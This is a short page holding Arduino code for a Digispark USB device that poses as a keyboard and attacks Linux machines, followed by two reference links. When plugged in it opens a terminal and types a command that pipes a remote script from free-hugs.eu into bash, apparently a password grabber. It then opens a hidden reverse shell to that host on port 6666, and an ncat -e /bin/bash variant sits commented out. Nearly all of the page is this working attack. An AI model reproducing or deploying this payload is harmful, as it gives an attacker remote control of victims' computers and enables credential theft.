Digispark Linux Reverse Shell

#include "DigiKeyboardDe.h"

void setup() 
{
  pinMode(1, OUTPUT); //LED on Model A 
  DigiKeyboardDe.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboardDe.delay(800);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_T, MOD_CONTROL_LEFT | MOD_ALT_LEFT);
  DigiKeyboardDe.delay(250);
  //DigiKeyboardDe.println("ncat free-hugs.eu 6666 -e /bin/bash &");
  DigiKeyboardDe.println("curl -S https://free-hugs.eu/files/lin-pw.sh | bash");
  DigiKeyboardDe.println("screen -m -d bash -c -c 'bash -i >& /dev/tcp/free-hugs.eu/6666 0>&1'");
  DigiKeyboardDe.delay(100);
  DigiKeyboardDe.println("exit");

}

void loop() 
{ 
  //LED blinken wenn fertig...
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(200);
  digitalWrite(1, LOW);
  DigiKeyboard.delay(200);
}

Links

https://startingelectronics.org/tutorials/arduino/digispark/digispark-linux-setup/ https://github.com/fugitivus/digispark